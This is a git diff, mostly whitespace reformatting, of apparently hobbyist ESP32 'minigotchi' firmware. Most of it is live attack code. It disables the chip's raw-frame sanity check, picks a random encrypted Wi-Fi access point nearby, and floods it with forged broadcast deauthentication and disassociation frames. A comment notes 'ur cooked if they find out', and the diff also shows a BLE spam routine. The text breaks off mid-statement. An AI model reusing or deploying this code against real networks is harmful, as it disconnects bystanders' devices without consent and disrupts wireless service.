Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); + pAdvertising->start(); + delay(delaySeconds * 1000); + pAdvertising->stop(); + Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); + Serial.println(mood.getNeutral() + " BLE Spam Stopped"); } /** * *Manually* stops BLE spam if it is already running */ -void Ble::stop() { pAdvertising->stop(); } +void Ble::stop() { + pAdvertising->stop(); +} /** * Self explanatory... */ void Ble::spam() { - if (Config::spam) { - Ble::init(); - Ble::start(); - } else { - // do nothing - } + if (Config::spam) { + Ble::init(); + Ble::start(); + } else { + // do nothing + } } diff --git a/minigotchi-ESP32/config.cpp b/minigotchi-ESP32/config.cpp index 43229d3..afa36e5 100644 --- a/minigotchi-ESP32/config.cpp +++ b/minigotchi-ESP32/config.cpp @@ -115,65 +115,65 @@ std::string Config::version = "3.5.2-beta"; * Loads configuration values from NVS */ void Config::loadConfig() { - nvs_handle_t cfgHandle; - esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); - if (err == ESP_OK) { - // load Config::configured - uint8_t configured = 0; - err = nvs_get_u8(cfgHandle, "configured", &configured); + nvs_handle_t cfgHandle; + esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); if (err == ESP_OK) { - Config::configured = (configured == 1); - } + // load Config::configured + uint8_t configured = 0; + err = nvs_get_u8(cfgHandle, "configured", &configured); + if (err == ESP_OK) { + Config::configured = (configured == 1); + } - // load Config::whitelist - size_t required_size = 0; - err = nvs_get_str(cfgHandle, "whitelist", NULL, &required_size); - if (err == ESP_OK && required_size > 0) { - char *whitelistStr = (char *)malloc(required_size); - err = nvs_get_str(cfgHandle, "whitelist", whitelistStr, &required_size); - if (err == ESP_OK) { - // convert back into a vector - Config::whitelist.clear(); - std::stringstream ss(whitelistStr); - std::string item; - while (std::getline(ss, item, ',')) { - Config::whitelist.push_back(item); + // load Config::whitelist + size_t required_size = 0; + err = nvs_get_str(cfgHandle, "whitelist", NULL, &required_size); + if (err == ESP_OK && required_size > 0) { + char *whitelistStr = (char *)malloc(required_size); + err = nvs_get_str(cfgHandle, "whitelist", whitelistStr, &required_size); + if (err == ESP_OK) { + // convert back into a vector + Config::whitelist.clear(); + std::stringstream ss(whitelistStr); + std::string item; + while (std::getline(ss, item, ',')) { + Config::whitelist.push_back(item); + } + } + free(whitelistStr); } - } - free(whitelistStr); - } - nvs_close(cfgHandle); - } + nvs_close(cfgHandle); + } } /** * Saves configuration to NVS */ void Config::saveConfig() { - nvs_handle_t cfgHandle; - esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); - if (err == ESP_OK) { - // save Config::configured - uint8_t configured = Config::configured ? 1 : 0; - err = nvs_set_u8(cfgHandle, "configured", configured); - ESP_ERROR_CHECK(err); - - // save Config::whitelist - std::string whitelistStr; - for (size_t i = 0; i < Config::whitelist.size(); ++i) { - whitelistStr += Config::whitelist[i]; - if (i < Config::whitelist.size() - 1) { - whitelistStr += ","; - } - } - err = nvs_set_str(cfgHandle, "whitelist", whitelistStr.c_str()); - ESP_ERROR_CHECK(err); + nvs_handle_t cfgHandle; + esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); + if (err == ESP_OK) { + // save Config::configured + uint8_t configured = Config::configured ? 1 : 0; + err = nvs_set_u8(cfgHandle, "configured", configured); + ESP_ERROR_CHECK(err); + + // save Config::whitelist + std::string whitelistStr; + for (size_t i = 0; i < Config::whitelist.size(); ++i) { + whitelistStr += Config::whitelist[i]; + if (i < Config::whitelist.size() - 1) { + whitelistStr += ","; + } + } + err = nvs_set_str(cfgHandle, "whitelist", whitelistStr.c_str()); + ESP_ERROR_CHECK(err); - err = nvs_commit(cfgHandle); - ESP_ERROR_CHECK(err); - nvs_close(cfgHandle); - } + err = nvs_commit(cfgHandle); + ESP_ERROR_CHECK(err); + nvs_close(cfgHandle); + } } /** developer note: @@ -188,9 +188,13 @@ void Config::saveConfig() { * @param min Lowest number * @param max Highest number */ -int Config::random(int min, int max) { return min + rand() % (max - min + 1); } +int Config::random(int min, int max) { + return min + rand() % (max - min + 1); +} /** * Checks current uptime */ -int Config::time() { return millis() / 1000; } +int Config::time() { + return millis() / 1000; +} diff --git a/minigotchi-ESP32/config.h b/minigotchi-ESP32/config.h index 52c4ea8..1090c26 100644 --- a/minigotchi-ESP32/config.h +++ b/minigotchi-ESP32/config.h @@ -38,61 +38,61 @@ class Config { public: - static bool deauth; - static bool advertise; - static bool scan; - static bool spam; - static const char *ssid; - static const char *pass; - static int shortDelay; - static int longDelay; - static bool parasite; - static bool display; - static std::string screen; - static int baud; - static int channel; - static std::vector whitelist; - static String happy; - static String sad; - static String broken; - static String intense; - static String looking1; - static String looking2; - static String neutral; - static String sleeping; - static int epoch; - static std::string face; - static std::string identity; - static std::string name; - static int ap_ttl; - static bool associate; - static int bored_num_epochs; - static int channels[13]; - static int excited_num_epochs; - static int hop_recon_time; - static int max_inactive_scale; - static int max_interactions; - static int max_misses_for_recon; - static int min_recon_time; - static int min_rssi; - static int recon_inactive_multiplier; - static int recon_time; - static int sad_num_epochs; - static int sta_ttl; - static int pwnd_run; - static int pwnd_tot; - static std::string session_id; - static int uptime; - static std::string version; - static wifi_init_config_t wifiCfg; - static wifi_country_t ctryCfg; - static bool configured; - static void loadConfig(); - static void saveConfig(); + static bool deauth; + static bool advertise; + static bool scan; + static bool spam; + static const char *ssid; + static const char *pass; + static int shortDelay; + static int longDelay; + static bool parasite; + static bool display; + static std::string screen; + static int baud; + static int channel; + static std::vector whitelist; + static String happy; + static String sad; + static String broken; + static String intense; + static String looking1; + static String looking2; + static String neutral; + static String sleeping; + static int epoch; + static std::string face; + static std::string identity; + static std::string name; + static int ap_ttl; + static bool associate; + static int bored_num_epochs; + static int channels[13]; + static int excited_num_epochs; + static int hop_recon_time; + static int max_inactive_scale; + static int max_interactions; + static int max_misses_for_recon; + static int min_recon_time; + static int min_rssi; + static int recon_inactive_multiplier; + static int recon_time; + static int sad_num_epochs; + static int sta_ttl; + static int pwnd_run; + static int pwnd_tot; + static std::string session_id; + static int uptime; + static std::string version; + static wifi_init_config_t wifiCfg; + static wifi_country_t ctryCfg; + static bool configured; + static void loadConfig(); + static void saveConfig(); private: - static int random(int min, int max); - static int time(); + static int random(int min, int max); + static int time(); }; #endif // CONFIG_H diff --git a/minigotchi-ESP32/deauth.cpp b/minigotchi-ESP32/deauth.cpp index 643a69e..ea3761d 100644 --- a/minigotchi-ESP32/deauth.cpp +++ b/minigotchi-ESP32/deauth.cpp @@ -33,8 +33,8 @@ // for some dumb reason espressif really doesn't like us sending deauth frames, // so i'll need to make this fix extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, - int32_t arg3) { - return 0; + int32_t arg3) { + return 0; } // default values before we start @@ -56,13 +56,13 @@ Mood &Deauth::mood = Mood::getInstance(); */ uint8_t Deauth::deauthTemp[26] = { - 0xC0, 0x00, - 0x00, 0x00, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x00, 0x00, - 0x01, 0x00 + 0xC0, 0x00, + 0x00, 0x00, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x00, 0x00, + 0x01, 0x00 }; uint8_t Deauth::deauthFrame[26]; @@ -74,34 +74,34 @@ uint8_t Deauth::broadcastAddr[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; * @param bssids SSIDs/BSSIDs to whitelist */ void Deauth::add(const std::string &bssids) { - std::stringstream ss(bssids); - std::string token; - - // seperate info and whitelist - while (std::getline(ss, token, ',')) { - // trim out whitespace - token.erase(0, token.find_first_not_of(" \t\r\n")); - token.erase(token.find_last_not_of(" \t\r\n") + 1); - - // add to whitelist - Serial.print(mood.getNeutral() + " Adding "); - Serial.print(token.c_str()); - Serial.println(" to the whitelist"); - Display::updateDisplay(mood.getNeutral(), "Adding " + - (String)token.c_str() + - " to the whitelist"); - delay(Config::shortDelay); - whitelist.push_back(token.c_str()); - } + std::stringstream ss(bssids); + std::string token; + + // seperate info and whitelist + while (std::getline(ss, token, ',')) { + // trim out whitespace + token.erase(0, token.find_first_not_of(" \t\r\n")); + token.erase(token.find_last_not_of(" \t\r\n") + 1); + + // add to whitelist + Serial.print(mood.getNeutral() + " Adding "); + Serial.print(token.c_str()); + Serial.println(" to the whitelist"); + Display::updateDisplay(mood.getNeutral(), "Adding " + + (String)token.c_str() + + " to the whitelist"); + delay(Config::shortDelay); + whitelist.push_back(token.c_str()); + } } /** * Adds everything to the whitelist */ void Deauth::list() { - for (const auto &bssid : Config::whitelist) { - Deauth::add(bssid); - } + for (const auto &bssid : Config::whitelist) { + Deauth::add(bssid); + } } /** @@ -111,10 +111,10 @@ void Deauth::list() { * @param sys_seq Ignore this, just make it false */ bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); - delay(102); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); + delay(102); - return (err == ESP_OK); + return (err == ESP_OK); } /** @@ -124,12 +124,12 @@ bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { * @param mac Mac address to check */ bool Deauth::broadcast(uint8_t *mac) { - for (uint8_t i = 0; i < 6; i++) { - if (mac[i] != broadcastAddr[i]) - return false; - } + for (uint8_t i = 0; i < 6; i++) { + if (mac[i] != broadcastAddr[i]) + return false; + } - return true; + return true; } /** @@ -137,9 +137,9 @@ bool Deauth::broadcast(uint8_t *mac) { * @param mac Address to print */ void Deauth::printMac(uint8_t *mac) { - String macStr = printMacStr(mac); - Serial.println(macStr); - Display::updateDisplay(mood.getNeutral(), "AP BSSID: " + macStr); + String macStr = printMacStr(mac); + Serial.println(macStr); + Display::updateDisplay(mood.getNeutral(), "AP BSSID: " + macStr); } /** @@ -147,10 +147,10 @@ void Deauth::printMac(uint8_t *mac) { * @param mac Mac to use */ String Deauth::printMacStr(uint8_t *mac) { - char buf[18]; // 17 for MAC, 1 for null terminator - snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], - mac[2], mac[3], mac[4], mac[5]); - return String(buf); + char buf[18]; // 17 for MAC, 1 for null terminator + snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], + mac[2], mac[3], mac[4], mac[5]); + return String(buf); } /** @@ -158,334 +158,334 @@ String Deauth::printMacStr(uint8_t *mac) { * was successful */ bool Deauth::select() { - // reset values - Deauth::randomAP = ""; - Deauth::randomIndex = -1; - - Parasite::sendDeauthStatus(START_SCAN); - - // cool animation, skip if parasite mode - if (!Config::parasite) { - for (int i = 0; i < 5; ++i) { - Serial.println(mood.getLooking1() + " Scanning for APs."); - Display::updateDisplay(mood.getLooking1(), "Scanning for APs."); - delay(Config::shortDelay); - Serial.println(mood.getLooking2() + " Scanning for APs.."); - Display::updateDisplay(mood.getLooking2(), "Scanning for APs.."); - delay(Config::shortDelay); - Serial.println(mood.getLooking1() + " Scanning for APs..."); - Display::updateDisplay(mood.getLooking1(), "Scanning for APs..."); - delay(Config::shortDelay); - Serial.println(" "); - delay(Config::shortDelay); - } - delay(Config::longDelay); - } - - // stop and scan - Minigotchi::monStop(); - - int apCount = 0; - // If a parasite channel is set, then we want to focus on that channel - // Otherwise go off on our own and scan for whatever is out there - if (Parasite::channel > 0) { - apCount = WiFi.scanNetworks(false, false, Parasite::channel); - } else { - apCount = WiFi.scanNetworks(); - } - - if (apCount > 0 && Deauth::randomIndex == -1) { - Deauth::randomIndex = random(apCount); - Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); - uint8_t encType = WiFi.encryptionType(Deauth::randomIndex); - - Serial.print(mood.getNeutral() + " Selected random AP: "); - Serial.println(randomAP.c_str()); - Serial.println(" "); - Display::updateDisplay(mood.getNeutral(), - "Selected random AP: " + randomAP); - delay(Config::shortDelay); - - if (encType == WIFI_AUTH_OPEN || encType == -1) { - Serial.println( - mood.getNeutral() + - " Selected AP is not encrypted. Skipping deauthentication..."); - Display::updateDisplay( - mood.getNeutral(), - "Selected AP is not encrypted. Skipping deauthentication..."); - delay(Config::shortDelay); - Parasite::sendDeauthStatus(SKIPPING_UNENCRYPTED); - return false; + // reset values + Deauth::randomAP = ""; + Deauth::randomIndex = -1; + + Parasite::sendDeauthStatus(START_SCAN); + + // cool animation, skip if parasite mode + if (!Config::parasite) { + for (int i = 0; i < 5; ++i) { + Serial.println(mood.getLooking1() + " Scanning for APs."); + Display::updateDisplay(mood.getLooking1(), "Scanning for APs."); + delay(Config::shortDelay); + Serial.println(mood.getLooking2() + " Scanning for APs.."); + Display::updateDisplay(mood.getLooking2(), "Scanning for APs.."); + delay(Config::shortDelay); + Serial.println(mood.getLooking1() + " Scanning for APs..."); + Display::updateDisplay(mood.getLooking1(), "Scanning for APs..."); + delay(Config::shortDelay); + Serial.println(" "); + delay(Config::shortDelay); + } + delay(Config::longDelay); } - // check for ap in whitelist - if (std::find(whitelist.begin(), whitelist.end(), randomAP) != - whitelist.end()) { - Serial.println(mood.getNeutral() + - " Selected AP is in the whitelist. Skipping " - "deauthentication..."); - Display::updateDisplay( - mood.getNeutral(), - "Selected AP is in the whitelist. Skipping deauthentication..."); - delay(Config::shortDelay); - Parasite::sendDeauthStatus(SKIPPING_WHITELIST); - return false; - } + // stop and scan + Minigotchi::monStop(); - /** developer note: - * - * here we will create the deauth frame using the header, - * as we find the AP in question we also generate the required information - * for it as well... - * - */ - - // clear out exisitng frame... - std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), - 0); - std::fill(std::begin(Deauth::disassociateFrame), - std::end(Deauth::disassociateFrame), 0); - - // copy template - std::copy(Deauth::deauthTemp, - Deauth::deauthTemp + sizeof(Deauth::deauthTemp), - Deauth::deauthFrame); - std::copy(Deauth::deauthTemp, - Deauth::deauthTemp + sizeof(Deauth::deauthTemp), - Deauth::disassociateFrame); - - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - // bssid - uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); - - /** developer note: - * - * addr1: reciever addr - * addr2: sender addr - * addr3: filtering addr - * - */ - - // copy our mac(s) to header - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 4); - std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 10); - std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 16); - - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 4); - std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10); - std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16); - - // checks if this is a broadcast - if (!broadcast(Deauth::broadcastAddr)) { - // build deauth - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - // reason - Deauth::deauthFrame[24] = 0x01; // reason: unspecified - - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 10); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 16); - - // build disassocaition - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - std::copy(apBssid, apBssid + sizeof(apBssid), - Deauth::disassociateFrame + 4); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 10); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 16); + int apCount = 0; + // If a parasite channel is set, then we want to focus on that channel + // Otherwise go off on our own and scan for whatever is out there + if (Parasite::channel > 0) { + apCount = WiFi.scanNetworks(false, false, Parasite::channel); + } else { + apCount = WiFi.scanNetworks(); } - Serial.print(mood.getNeutral() + " Full AP SSID: "); - Serial.println(WiFi.SSID(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "Full AP SSID: " + WiFi.SSID(Deauth::randomIndex)); - - Serial.print(mood.getNeutral() + " AP Encryption: "); - Serial.println(WiFi.encryptionType(Deauth::randomIndex)); - Display::updateDisplay( - mood.getNeutral(), - "AP Encryption: " + (String)WiFi.encryptionType(Deauth::randomIndex)); - - Serial.print(mood.getNeutral() + " AP RSSI: "); - Serial.println(WiFi.RSSI(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "AP RSSI: " + + if (apCount > 0 && Deauth::randomIndex == -1) { + Deauth::randomIndex = random(apCount); + Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); + uint8_t encType = WiFi.encryptionType(Deauth::randomIndex); + + Serial.print(mood.getNeutral() + " Selected random AP: "); + Serial.println(randomAP.c_str()); + Serial.println(" "); + Display::updateDisplay(mood.getNeutral(), + "Selected random AP: " + randomAP); + delay(Config::shortDelay); + + if (encType == WIFI_AUTH_OPEN || encType == -1) { + Serial.println( + mood.getNeutral() + + " Selected AP is not encrypted. Skipping deauthentication..."); + Display::updateDisplay( + mood.getNeutral(), + "Selected AP is not encrypted. Skipping deauthentication..."); + delay(Config::shortDelay); + Parasite::sendDeauthStatus(SKIPPING_UNENCRYPTED); + return false; + } + + // check for ap in whitelist + if (std::find(whitelist.begin(), whitelist.end(), randomAP) != + whitelist.end()) { + Serial.println(mood.getNeutral() + + " Selected AP is in the whitelist. Skipping " + "deauthentication..."); + Display::updateDisplay( + mood.getNeutral(), + "Selected AP is in the whitelist. Skipping deauthentication..."); + delay(Config::shortDelay); + Parasite::sendDeauthStatus(SKIPPING_WHITELIST); + return false; + } + + /** developer note: + * + * here we will create the deauth frame using the header, + * as we find the AP in question we also generate the required information + * for it as well... + * + */ + + // clear out exisitng frame... + std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), + 0); + std::fill(std::begin(Deauth::disassociateFrame), + std::end(Deauth::disassociateFrame), 0); + + // copy template + std::copy(Deauth::deauthTemp, + Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::deauthFrame); + std::copy(Deauth::deauthTemp, + Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::disassociateFrame); + + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + // bssid + uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); + + /** developer note: + * + * addr1: reciever addr + * addr2: sender addr + * addr3: filtering addr + * + */ + + // copy our mac(s) to header + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 4); + std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 10); + std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 16); + + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 4); + std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10); + std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16); + + // checks if this is a broadcast + if (!broadcast(Deauth::broadcastAddr)) { + // build deauth + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + // reason + Deauth::deauthFrame[24] = 0x01; // reason: unspecified + + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 16); + + // build disassocaition + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + std::copy(apBssid, apBssid + sizeof(apBssid), + Deauth::disassociateFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 16); + } + + Serial.print(mood.getNeutral() + " Full AP SSID: "); + Serial.println(WiFi.SSID(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "Full AP SSID: " + WiFi.SSID(Deauth::randomIndex)); + + Serial.print(mood.getNeutral() + " AP Encryption: "); + Serial.println(WiFi.encryptionType(Deauth::randomIndex)); + Display::updateDisplay( + mood.getNeutral(), + "AP Encryption: " + (String)WiFi.encryptionType(Deauth::randomIndex)); + + Serial.print(mood.getNeutral() + " AP RSSI: "); + Serial.println(WiFi.RSSI(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "AP RSSI: " + (String)WiFi.RSSI(Deauth::randomIndex)); - Serial.print(mood.getNeutral() + " AP BSSID: "); - printMac(apBssid); + Serial.print(mood.getNeutral() + " AP BSSID: "); + printMac(apBssid); - Serial.print(mood.getNeutral() + " AP Channel: "); - Serial.println(WiFi.channel(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "AP Channel: " + + Serial.print(mood.getNeutral() + " AP Channel: "); + Serial.println(WiFi.channel(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "AP Channel: " + (String)WiFi.channel(Deauth::randomIndex)); - Serial.println(" "); - delay(Config::longDelay); + Serial.println(" "); + delay(Config::longDelay); - Parasite::sendDeauthStatus(PICKED_AP, Deauth::randomAP.c_str(), - WiFi.channel(Deauth::randomIndex)); + Parasite::sendDeauthStatus(PICKED_AP, Deauth::randomAP.c_str(), + WiFi.channel(Deauth::randomIndex)); - return true; - } else if (apCount < 0) { - Serial.println(mood.getSad() + - " I don't know what you did, but you screwed up!"); - Serial.println(" "); - Display::updateDisplay(mood.getSad(), "You screwed up somehow!"); + return true; + } else if (apCount < 0) { + Serial.println(mood.getSad() + + " I don't know what you did, but you screwed up!"); + Serial.println(" "); + Display::updateDisplay(mood.getSad(), "You screwed up somehow!"); - Parasite::sendDeauthStatus(DEAUTH_SCAN_ERROR); + Parasite::sendDeauthStatus(DEAUTH_SCAN_ERROR); - delay(Config::shortDelay); - } else { - // well ur fucked. - Serial.println(mood.getSad() + " No access points found."); - Serial.println(" "); - Display::updateDisplay(mood.getSad(), "No access points found."); + delay(Config::shortDelay); + } else { + // well ur fucked. + Serial.println(mood.getSad() + " No access points found."); + Serial.println(" "); + Display::updateDisplay(mood.getSad(), "No access points found."); - Parasite::sendDeauthStatus(NO_APS); + Parasite::sendDeauthStatus(NO_APS); - delay(Config::shortDelay); - } - return false; + delay(Config::shortDelay); + } + return false; } /** * Full deauthentication attack */ void Deauth::deauth() { - if (Config::deauth) { - // select AP - if (Deauth::select()) { - if (randomAP.length() > 0) { - Serial.println( - mood.getIntense() + - " Starting deauthentication attack on the selected AP..."); - Serial.println(" "); - Display::updateDisplay(mood.getIntense(), - "Begin deauth-attack on AP..."); - delay(Config::shortDelay); - // define the attack - if (!running) { - start(); - } else { - Serial.println(mood.getNeutral() + " Attack is already running."); - Serial.println(" "); - Display::updateDisplay(mood.getNeutral(), - "Attack is already running."); - delay(Config::shortDelay); + if (Config::deauth) { + // select AP + if (Deauth::select()) { + if (randomAP.length() > 0) { + Serial.println( + mood.getIntense() + + " Starting deauthentication attack on the selected AP..."); + Serial.println(" "); + Display::updateDisplay(mood.getIntense(), + "Begin deauth-attack on AP..."); + delay(Config::shortDelay); + // define the attack + if (!running) { + start(); + } else { + Serial.println(mood.getNeutral() + " Attack is already running."); + Serial.println(" "); + Display::updateDisplay(mood.getNeutral(), + "Attack is already running."); + delay(Config::shortDelay); + } + } else { + // ok why did you modify the deauth function? i literally told you to + // not do that... + Serial.println(mood.getBroken() + + " No access point selected. Use select() first."); + Serial.println(mood.getNeutral() + " Told you so!"); + Serial.println(" "); + Display::updateDisplay(mood.getBroken(), + "No access point selected. Use select() first."); + delay(Config::shortDelay); + Display::updateDisplay(mood.getNeutral(), "Told you so!"); + delay(Config::shortDelay); + return; + } } - } else { - // ok why did you modify the deauth function? i literally told you to - // not do that... - Serial.println(mood.getBroken() + - " No access point selected. Use select() first."); - Serial.println(mood.getNeutral() + " Told you so!"); - Serial.println(" "); - Display::updateDisplay(mood.getBroken(), - "No access point selected. Use select() first."); - delay(Config::shortDelay); - Display::updateDisplay(mood.getNeutral(), "Told you so!"); - delay(Config::shortDelay); - return; - } + } else { + // do nothing if deauthing is disabled } - } else { - // do nothing if deauthing is disabled - } } /** * Starts deauth attack */ void Deauth::start() { - running = true; - int deauthFrameSize = sizeof(deauthFrame); - int disassociateFrameSize = sizeof(disassociateFrame); - int packets = 0; - unsigned long startTime = millis(); - - // packet calculation - int basePacketCount = 150; - int rssi = WiFi.RSSI(Deauth::randomIndex); - int numDevices = WiFi.softAPgetStationNum(); - - int packetCount = basePacketCount + (numDevices * 10); - if (rssi > -50) { - packetCount /= 2; // strong signal - } else if (rssi < -80) { - packetCount *= 2; // weak signal - } - - Parasite::sendDeauthStatus(START_DEAUTH, Deauth::randomAP.c_str(), - WiFi.channel(Deauth::randomIndex)); - - // send the deauth 150 times(ur cooked if they find out) - for (int i = 0; i < packetCount; ++i) { - if (Deauth::send(deauthFrame, deauthFrameSize, 0) && - Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - packets++; - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print(mood.getIntense() + " Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s"); - Serial.println(" (AP:" + randomAP + ")"); - Display::updateDisplay(mood.getIntense(), - "Packets per second: " + (String)pps + " pkt/s" + - " (AP:" + randomAP + ")"); - } - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && - !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Both packets failed to send!"); - Display::updateDisplay(mood.getBroken(), "Both packets failed to send!"); - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && - Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Deauthentication failed to send!"); - Display::updateDisplay(mood.getBroken(), "Deauth failed to send!"); - } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && - !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Disassociation failed to send!"); - Display::updateDisplay(mood.getBroken(), "Disassoc failed to send!"); - } else { - Serial.println(mood.getBroken() + " Unable to calculate pkt/s!"); - Display::updateDisplay(mood.getBroken(), "Unable to calculate pkt/s!"); + running = true; + int deauthFrameSize = sizeof(deauthFrame); + int disassociateFrameSize = sizeof(disassociateFrame); + int packets = 0; + unsigned long startTime = millis(); + + // packet calculation + int basePacketCount = 150; + int rssi = WiFi.RSSI(Deauth::randomIndex); + int numDevices = WiFi.softAPgetStationNum(); + + int packetCount = basePacketCount + (numDevices * 10); + if (rssi > -50) { + packetCount /= 2; // strong signal + } else if (rssi < -80) { + packetCount *= 2; // weak signal + } + + Parasite::sendDeauthStatus(START_DEAUTH, Deauth::randomAP.c_str(), + WiFi.channel(Deauth::randomIndex)); + + // send the deauth 150 times(ur cooked if they find out) + for (int i = 0; i < packetCount; ++i) { + if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + packets++; + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print(mood.getIntense() + " Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s"); + Serial.println(" (AP:" + randomAP + ")"); + Display::updateDisplay(mood.getIntense(), + "Packets per second: " + (String)pps + " pkt/s" + + " (AP:" + randomAP + ")"); + } + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, 